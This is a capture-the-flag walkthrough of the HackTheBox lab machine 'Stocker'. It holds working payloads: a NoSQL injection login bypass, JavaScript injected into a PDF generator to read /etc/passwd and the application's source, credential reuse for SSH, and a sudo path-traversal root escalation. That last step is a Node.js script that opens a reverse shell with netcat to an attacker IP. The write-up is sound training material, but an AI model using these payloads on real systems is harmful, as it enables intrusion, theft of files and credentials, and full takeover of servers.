HackTheBox | Stocker
Writeup of an easy-rated Linux machine from HackTheBox
Enumeration
Scanning
Let’s start the enumeration process by scanning the target machine with Nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali# nmap -sC -sV -A -T4 -p- 10.10.11.196
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 168.97 ms 10.10.14.1
2 162.62 ms stocker.htb (10.10.11.196)
As you can see, the target machine has 2 open ports:
- An SSH service (version
OpenSSH 8.2p1
) running on its default port22
. - An HTTP server
nginx 1.18.0
is running on port80
- Navigating to
http://10.10.11.196
redirects tohttp://stocker.htb
, so let’s addstocker.htb
domain name to our/etc/hosts
file.1
root@kali# echo '10.10.11.196 stocker.htb' >> /etc/hosts
Service Enumeration
First things first, let’s enumerate directories using ffuf
to check if there are some hidden directories
1
2
3
4
5
6
7
root@kali# ffuf -u http://stocker.htb/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -e .js,.html,.txt
index.html [Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 1370ms]
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 427ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 413ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 442ms]
font [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 442ms]
- Nothing really interesting here, just some html and css files.
Let’s then try to enumerate virtual hosts:
1
2
3
root@kali# gobuster vhost -u http://stocker.htb -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -t 64
Found: dev.stocker.htb (Status: 302) [Size: 28]
- And we found an interesting virtual host,
dev.stocker.htb
.
Enumerating stocker.htb
📍 Server version:
nginx/1.18.0 (Ubuntu)
- Vulnerable - CVE-2020-12440- This version allows an HTTP request smuggling attack that can lead to cache poisoning, credential hijacking, or security bypass.
📍 Potential username:
- we have the full name of stocker’s head of IT.
- We can use for example a tool like
namemash to generate possible usernames out of the full name.
Enumerating dev.stocker.htb
First of all, let’s add dev.stocker.htb
to /etc/hosts using the following one-line command:
1
root@kali# echo '10.10.11.196 dev.stocker.htb' >> /etc/hosts
Navigation to http://dev.stocker.htb
redirects to the login page http://dev.stocker.htb/login
When dealing with login pages, the first thing that comes to mind is to find a way to bypass authentication using, for example, SQL injection, or default credentials, or password brute forcing of a known username etc …
Let’s go through this list and test each and every bypass technique.
🔎 Testing Checklist:
- Default credentials like admin:admin or admin:password does not bypass authentication.
- We don’t have a valid username, which means we can’t use password brute forcing technique.
- The Web application does not seem to be vulnerable to SQL Injection
If you take a closer look at the server’s response, there is a header called X-Powered-By
and set to Express
, which is a NodeJS app that is often built with MongoDB backend.
This information tells us that a NoSQL database is used in the backend, which means we can test for NoSQL injection
vulnerabilities and try to bypass authentication.
Exploitation
Exploiting NoSQL Injection
📍 Detection:
X-Powered-By
header hasExpress
Content-Type
header hasapplication/x-www-form-urlencoded
and changing it toapplication/json
still allows the POST requests with JSON POST data:
📍 Exploitation:
- Intercept the POST request with Burp proxy
- Change the Content-Type header to
application/json
in order to be able to send JSON data - Send the following payload as POST data: s
1
{"username": {"$ne": null}, "password": {"$ne": null}}
- You will be redirected to http://dev.stocker.htb/stock
📍 Username Enumeration:
Exploiting this vulnerability, We can enumerate usernames using Burp Intruder following the below steps:
1- Intercept the POST request with Burp proxy
2- Change the Content-Type header to application/json
in order to be able to send JSON data
3- Send the intercepted request to Intruder
4- Set the username field as a payload position
5- Load a usernames wordlist of your choice
6- Start the attack
- As you can see, we found a valid username:
angoose
📍 Password Bruteforcing:
Now, since we found a valid username, we can try to brute force his password for the login page using Hydra
, because it might the same password to access other services like SSH, but unfortunately, the password is probably strong and does not exist in the classical rockyou.txt
wordlist.
Exploiting HTML & JS Injection Vulnerabilities
📍 Detection
When a user adds an item to the basket and submit purshase, an API call sends information about the purshased item to the server, which will then gets rendered into a PDF file where the user can view the purshase order in detail.
- As you can see, the name of the purshased item is rendered in the PDF, which can be vulnerable in many cases to
HTML Injection
,JS Injection
,server-side XSS
, leading to exfiltration of data from the vulnerable application.
Let’s see if the application is actually vulnerable to HTML Injection
first, by injecting a basic HTML code in the title
parameter:
1- Add an item to basket and click on View Cart
2- Intercept the Submit Purchase request with Burp proxy
3- Inject the title
parameter with the following HTML code and then forward the request:
1
<b>Hello </b><i>World!</i>
4- Click on here to view the order in a pdf file
5- HTML tags were parsed on the backend and included in the file.
- As you can see, the injected HTML tags were parsed successfully on the backend and got the results on the PDF file.
📍 Escalating the attack:
We can escalate this attack by reading some internal sensitive files like ~/.ssh/id_rsa, ~/.bash_history, /etc/passwd or /etc/shadow (If the application is running with elevated privileges), but before that, we need to identify the file protocol the application is using to figure how we can read the internal files on the server.
- Let’s inject the
title
parameter with the following payload, which will print out the full URL of the current page:1
<script>document.write(document.location.href)</script>
As you can see, the application uses the file://
protocol, which means we can retrieve the content of internal files using XHR requests.
We also now have the path to the source code of the application which is /var/www/dev
- Let’s retrieve the content of
/etc/passwd
file, by injecting the title parameter with the following JavaScript payload:1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>
- I tried retrieving ssh private key /home/angoose/.ssh/id_rsa but failed, probably because
.ssh
folder doesn’t even exist in /home/angoose directory.
📝 Note: We can also use the
iframe
tag to retrieve content and read sensitive files using the following payload:
1
<iframe src=file:///etc/os-release height=1000px width=800px</iframe>
📍 Hardcoded credentials:
Since we could not retrieve ssh private key of angoose
user, it’s always a good idea to retrieve the content of the source code of the application, because it might contains some hardcoded credentials
that we can potentially use to access other services.
So far, we know the full path to the application source code, which is /var/www/dev
, and we know that Node.JS
is used on the backend, which means the source code file is probably going to be index.js or app.js or server.js or main.js …
- After trying each an every filename,
index.js
is the file that worked for me and contains the source code of the application.1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///var/www/dev/index.js');x.send();</script>
The source code is hard to read, so let’s beautify it using
- As you can see, there is a connection string fo MongoDB database in line 17:
1
dbURI ="mongodb://dev:[REDACTED]@localhost/dev?authSource=admin&w=1"
mongodb://
indicates that the connection is being made to a MongoDB database.
dev:[REDACTED]
specifies the username (dev) and password (REDACTED) to use when connecting to the database. - Now that we have a password, why not try it to ssh into the server as the user
angoose
Initial Access
SSH Access
1
2
3
4
5
6
7
angoose@stocker:~$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password: [REDACTED]
Last login: Fri Mar 10 15:44:52 2023 from 10.10.16.12
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
angoose@stocker:~$ whoami
angoose
📍 user.txt:
Privilege Escalation
Enumeration
The first thing to do when it comes to privilege escalation enumeration is to run the sudo -l
command, which will list the commands/permissions that our user is allowed to execute as a superuser (root) or other privileged user.
1
2
3
4
5
6
7
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
- As you can see
angoose
can execute the following command as root:1
/usr/bin/node /usr/local/scripts/*.js
📝 Note: The directory
/usr/local/scripts
is writable only by root, which means we cannot create a malicious JavaScript file in /usr/local/scripts that will grant us a root shell when we run it with root privileges.
Exploiting Misconfigured SUDO
With a wildcard *
being used, we can use a sequence of dot-dot-slashes to iterate through any JavaScript file and execute it with root privileges.
Let’s create a JavaScript file in /home/angoose directory, which will run the id
command:
1
2
3
4
5
6
7
8
9
10
const { exec } = require('child_process');
exec('id', (error, stdout, stderr) => {
if (error) {
console.error(`exec error: ${error}`);
return;
}
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
});
- As you can see, we can execute commands of our choice with root privileges.
Let’s try to get a proper root shell following the below steps:
1- Create a JavaScript file (let’s call it root.js
) that contains the following JS code:
1
2
3
4
5
6
7
8
9
10
const { exec } = require('child_process');
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <Your_tun0_IP> 9999 >/tmp/f', (error, stdout, stderr) => {
if (error) {
console.error(`exec error: ${error}`);
return;
}
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
});
2- Start a netcat listener on port 9999 on your attacking machine:
1
root@kali # nc -nlvp 9999
3- Run the JavaScript file with root privileges:
1
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/root.js
📍 root.txt: